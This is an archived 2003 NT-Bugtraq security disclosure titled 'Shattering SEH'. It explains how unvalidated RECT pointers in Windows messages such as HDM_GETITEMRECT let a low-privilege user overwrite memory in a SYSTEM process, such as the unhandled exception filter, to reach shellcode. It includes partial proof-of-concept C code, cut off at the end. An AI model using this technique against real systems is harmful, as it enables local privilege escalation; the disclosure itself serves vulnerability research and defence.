

# Shattering SEH

**Source:** <http://www.derkeiler.com/Mailing-Lists/NT-Bugtraq/2003-07/0035.html>

---

**From:** Brett Moore ([brett.moore\\_at\\_SECURITY-ASSESSMENT.COM](mailto:brett.moore_at_SECURITY-ASSESSMENT.COM))

**Date:** 07/12/03

Date: Fri, 11 Jul 2003 17:45:16 -0700  
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

=====  
= Shattering SEH  
=  
= [brett.moore@security-assessment.com](mailto:brett.moore@security-assessment.com)  
= <http://www.security-assessment.com>  
=  
= Originally posted: July 11, 2003  
=====

== Background ==

Since shatter attacks are the bug of the week, I figured I would add some slightly interesting information to the topic. I'm not going to rehash the information that is already available, and for those who haven't yet read the following two articles.

NGSSoftware Insight Security Research Advisory  
\*<http://www.ngssoftware.com/advisories/utilitymanager.txt>

iDEFENSE Security Advisory  
\*<http://www.idefense.com/advisory/07.11.03.txt>

Those two papers have all the required reading information and links to the previous shatter attack papers, detailing the use of a callback function to gain control of an interactive SYSTEM level process.

The technique I am going to describe here is a method allowing a low level user to overwrite important memory locations in a SYSTEM process. Memory locations such as SEH etc.

== Detail ==

Various windows messages accept a pointer to a POINT or RECT structure which will be used to retrieve GDI information about windows. These pointers do not appear to be validated in any way.

## NT-Bugtraq: Shattering SEH

We will concentrate on the HDM\_GETITEMRECT message.

(From MSDN)

- HDM\_GETITEMRECT Message
- 
- Retrieves the bounding rectangle for a given item in a header control.
- You can send this message explicitly or use the Header\_GetItemRect macro.
- 
- Syntax
- 
- To send this message, call the SendMessage function as follows.
- HRESULT = SendMessage(HWND hWndControl, // handle to control
- (UINT) HDM\_GETITEMRECT, // message ID
- (WPARAM) wParam, // = (WPARAM) (int) iIndex;
- (LPARAM) lParam ); // = (LPARAM) (RECT\*) lpItemRect;
- Parameters
- iIndex
- Zero-based index of the header control item for which to retrieve the bounding rectangle.
- lpItemRect
- Pointer to a RECT structure that receives the bounding rectangle information.
- 

(End MSDN)

So if we wanted to overwrite the Unhandled Exception Filter @ 77edxxxx we would call

```
SendMessage(hwnd,HDM_GETITEMRECT,0,0x77edxxxx)
```

Now the challenge is how do we control what is been written to the address.

The RECT structure is defined as;

(From MSDN)

- typedef struct \_RECT {
- LONG left;
- LONG top;
- LONG right;
- LONG bottom;
- } RECT, \*PRECT;

(End MSDN)

The only variable that we are in control of is the right, or width of the header item. The size is limited though, allowing us only to control the low order 16 bits of the written value. The high order bits are set to 0000.

But by offsetting our write address we can control the high order 16 bits of the required value, with the low order bits been set to 0000.

## NT-Bugtraq: Shattering SEH

If we can place our shellcode in a place that includes XXXX0000 in the address then we will be able to land in our shellcode by setting the header item width to XXXX, causing the write and then causing an exception.

Pictures are worth a thousand words, so work through this example.

== Example Code ==

```
/******  
* shatterseh.c  
*  
* Example code to demonstrate more shatter attacks  
*  
* Demonstrates overwriting of critical memory address  
* It is example only and doesn't reach the 'shellcode'  
* because header sizing is required.  
*  
* Obviously you need to insert the particular window  
* handles required.  
*  
* Compatible with my win2k SP3.  
*  
* Brett Moore [ brett.moore@security-assessment.com ]  
* www.security-assessment.com  
*****/  
#include <windows.h>  
#include <commctrl.h>  
  
int main(int argc, char *argv[])  
{  
    long lResult;  
    long hWndControl,hHdrControl;  
    char buffer[65535];  
  
    // Stuff The Buffer  
    memset(buffer,0x04,sizeof(buffer));  
  
    // Window Title Handle  
    hWndControl = 0x000C01E6;  
  
    // Set The Window Title  
    lResult = SendMessage((HWND) hWndControl,(UINT) WM_SETTEXT,0,&buffer);  
  
    // Listview Header Handle  
    hWndControl = 0x000E0274;  
  
    // Overwrite Something Important  
    lResult = SendMessage((HWND) hWndControl,(UINT)  
HDM_GETITEMRECT,0,0x77EDA1EA);
```

